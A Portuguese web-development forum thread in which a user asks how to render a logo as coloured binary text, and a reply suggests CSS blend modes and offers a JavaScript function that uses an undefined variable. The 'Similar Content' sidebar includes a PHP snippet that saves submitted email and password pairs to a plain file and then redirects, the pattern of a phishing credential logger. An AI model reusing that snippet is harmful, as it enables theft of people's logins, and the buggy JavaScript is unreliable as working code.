Jump to content
Sign in to follow this  
Mnny

Imagens reproduzidas em codigos

Recommended Posts

Olá, vi algo num site e fiquei curioso em saber como faz . Toda site, ao fazer alguma busca que não existe, leva ao " 404 ". O Site da Rockstar Games tem uma pag 404 muito interessante no meu ponto de vista, por isso queria saber como faz.

Ela reproduziu a logo da rockstar em codigos e em cores.

Exemplo : http://www.rockstargames.com/asas ( "asas" é qualquer palavra após o endereço para chegar ao 404). Percebam que voc~e consegue selecionar com o mouse qualquer parte da img reproduzida e que são apenas codigos com cores diferentes.

Como faço uma igual ou semelhante com uma img qlqr ou até uma logomarca de meu desejo ?

Share this post


Link to post
Share on other sites

Mnny,

Esse é só um conjunto de números binários gerados aleatoriamente. Você pode fazer isso de algumas formas, veja:

  • Criar um campo HTML e fazer com que o JS o preencha com todos os binários.
  • Criar um campo em PHP e fazer um loop de binários.
  • Criar um campo HTML, preencher a mão todos os números e sortear as cores.
  • Criar um campo HTML, preencher os dados da forma mais fácil e utilizar os blend modes do CSS.

Veja um exemplo no Codepen do que é um blend mode: http://codepen.io/chriscoyier/pen/aBIAc

 

Você só precisa inserir todas as informações de texto (um loop pra não ficar essa bagaça gigante dentro do HTML) e adicionar uma imagem por cima com o blend (ou por baixo, ou como achar melhor).

Para o JS, por exemplo, você pode usar uma função com um for().

function criarBinario() {
   var texto = "";
   var binario = "01";
   
   for (var i = 0; i < 255; i++) {
      texto += binario.charAt(Math.floor(Math.random() * possible.length));
   }
   return texto;
}

Bom, eu espero que você saiba o básico de JS, mas aqui é bem simples. Ele vai buscar 0 e 1 dentro da variável binario e sortear eles de diferentes formas até completarem 255 caracteres.

Abraços!

 

  • +1 1

Share this post


Link to post
Share on other sites

Mnny,

 

Esse é só um conjunto de números binários gerados aleatoriamente. Você pode fazer isso de algumas formas, veja:

  • Criar um campo HTML e fazer com que o JS o preencha com todos os binários.
  • Criar um campo em PHP e fazer um loop de binários.
  • Criar um campo HTML, preencher a mão todos os números e sortear as cores.
  • Criar um campo HTML, preencher os dados da forma mais fácil e utilizar os blend modes do CSS.

Veja um exemplo no Codepen do que é um blend mode: http://codepen.io/chriscoyier/pen/aBIAc

 

Você só precisa inserir todas as informações de texto (um loop pra não ficar essa bagaça gigante dentro do HTML) e adicionar uma imagem por cima com o blend (ou por baixo, ou como achar melhor).

 

Para o JS, por exemplo, você pode usar uma função com um for().

function criarBinario() {
   var texto = "";
   var binario = "01";
   
   for (var i = 0; i < 255; i++) {
      texto += binario.charAt(Math.floor(Math.random() * possible.length));
   }
   return texto;
}

Bom, eu espero que você saiba o básico de JS, mas aqui é bem simples. Ele vai buscar 0 e 1 dentro da variável binario e sortear eles de diferentes formas até completarem 255 caracteres.

 

Abraços!

 

Estou um pouco confuso. Poderia mostrar algum exemplo real ?

Share this post


Link to post
Share on other sites

Mnny,

Então com essa sua resposta vem minhas dúvidas:

  • No que você está confuso?
  • Qual a sua dúvida agora?
  • Qual foi o problema encontrado?
  • Qual solução tentou?
  • O que você já tentou?
  • Só copiou e colou?
  • Quer que alguém faça todo o trabalho por você?

Share this post


Link to post
Share on other sites

Mnny,

 

Esse é só um conjunto de números binários gerados aleatoriamente. Você pode fazer isso de algumas formas, veja:

  • Criar um campo HTML e fazer com que o JS o preencha com todos os binários.
  • Criar um campo em PHP e fazer um loop de binários.
  • Criar um campo HTML, preencher a mão todos os números e sortear as cores.
  • Criar um campo HTML, preencher os dados da forma mais fácil e utilizar os blend modes do CSS.

Veja um exemplo no Codepen do que é um blend mode: http://codepen.io/chriscoyier/pen/aBIAc

 

Você só precisa inserir todas as informações de texto (um loop pra não ficar essa bagaça gigante dentro do HTML) e adicionar uma imagem por cima com o blend (ou por baixo, ou como achar melhor).

 

Para o JS, por exemplo, você pode usar uma função com um for().

function criarBinario() {
   var texto = "";
   var binario = "01";
   
   for (var i = 0; i < 255; i++) {
      texto += binario.charAt(Math.floor(Math.random() * possible.length));
   }
   return texto;
}

Bom, eu espero que você saiba o básico de JS, mas aqui é bem simples. Ele vai buscar 0 e 1 dentro da variável binario e sortear eles de diferentes formas até completarem 255 caracteres.

 

Abraços!

 

 

Obrigado pela explicação,

O efeito das cores é feito pelo CSS?

Por momentos pensei que tivessem adicionado uma marca de água, que seria a imagem! Imagine, o loop em js para fazer o efeito binário e a imagem em marca de água por cima, e assim daria a sensação de que o binário está pintado. Mas estive a ver no console do mozila, na aba network, e não nenhuma imagem que se pareça com a do efeito.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Similar Content

    • By paulo.xmx
      alguem pode me ajudar, sou novo e estou con site adulto e preciso programação para códigos HTML
      uma vez que trata-se de um site de conteúdo restrito. preciso visualizar as etapas para incluir um código HTML e criar a barra
       de consentimento para maiores de 18 anos
    • By pedrocampinhove
      Fala galera, eu tenho um código que um amigo ajudou a criar, eu estou "engatinhando" ainda e precisando muito da ajuda de vocês.
      Eu preciso colocar no site de uma cliente um código de redirecionamento de página depois de 8 minutos e fazer com que essa página que é uma promoção não apareça mais para o usuário. Ou seja fazer com que o usuário tenha acesso a essa página apenas uma vez e após 8 minutos ele expire e seja redirecionado. Se tentar acessar novamente ele já será redirecionado de imediato.

      Segue o código com contador que tenho
       
      <!DOCTYPE html>
      Por favor espere a pagina esta carregando...
      <script src="http://www.elitegta.com.br/sites/download/downModsModalNome.js"></script>
      <html>
          <head lang="pt-br">

              <meta charset="UTF-8">

          <title>Protetor de Link</title>

          <meta charset = "UTF-8">

          <script type="text/javascript">
              function linkProtetor(link) {
              var lnk = link;
              lnk = lnk.substr(lnk.search("url=")+4);
              return lnk;
              }

              var linkpro = window.parent.document.location.href;
              linkpro = linkProtetor(linkpro);

      <!--
      var numero = 10;
      function chamar(){if(numero>0){document.getElementById('timers').innerHTML = --numero;}}
      setInterval("chamar();", 1000);
      setTimeout("location.href = linkpro;",10000);
      //-->
      </script>
      <div align="center" style="font-family: tahoma; font-size: 16px;">Você será redirecionado em: <br><div style="font-family: tahoma; font-size: 56px;" id="timers">10</div>
      </div>
      </html>
    • By tiagozone
      Oi Gente Agradeço primeiramente, Acho que seja através do php, Gostaria de criar uma pagina  simples que pudesse ter a aréa do login e se você não fosse cadastrado se cadastrar. Porém nesse cadastro teria como se fosse um itoken uma senha normal letras e números, forçando só alguns a se cadastrar. Depois do cadastro, você logado teria acesso a uma pagina porém essa pagina teria tipo que bloquear o link de acesso. A pagina seria arquivos do google. Deu pra entender? Dá pra fazer isso ou é complicado ? Ou seja so entraria nesse link a pessoa logada etc... Sei que deve entrar banco de dados tbm.. É possivel ?
       
      Agradeço
    • By Decio R J
      Saudações. É possível adicionar algum código ao final do link php para obter a lista completa de registros desta página?
      http://cbc.esp.br/sistema/consultafiliado.php?search=
      Em meu computador, só carrega até a letra L e preciso gerar um arquivo com todos os nomes.
    • By MaykoMaster
      Bom Primeira mente Ola a todos do Fórum...
       
      O que eu queria saber era, se tem como eu pegar este Código Que esta abaixo e re-escrevê lo para que quando ele salve um texto... ele salve o texto em modo tabela:
       
      Modo Normal Fica Assim:
       
      Email:
      Senha:
       
       
       
      Modo parecido com o que Eu quero deixar:
       
       Email:
       
       Senha:
       
       


       
      <?php $nomearquivo ="senha.html"; $email =$_POST["email"]; $senha =$_POST["pass"]; $ess ="Email: ".$email."<br>Senha: ".$senha; $abre =@fopen("senha.html","a+"); $escreve =fwrite($abre, $ess); echo "<script>javascript:document.location='URL' </script>"; function redirecionar($url, $tempo) { $url = str_replace('&', '&', $url); if($tempo > 0) { header("Refresh: $tempo; URL=$url"); } else { @ob_flush(); @ob_end_clean(); header("Location: $url"); exit; } } ?>  
×

Important Information

Ao usar o fórum, você concorda com nossos Terms of Use.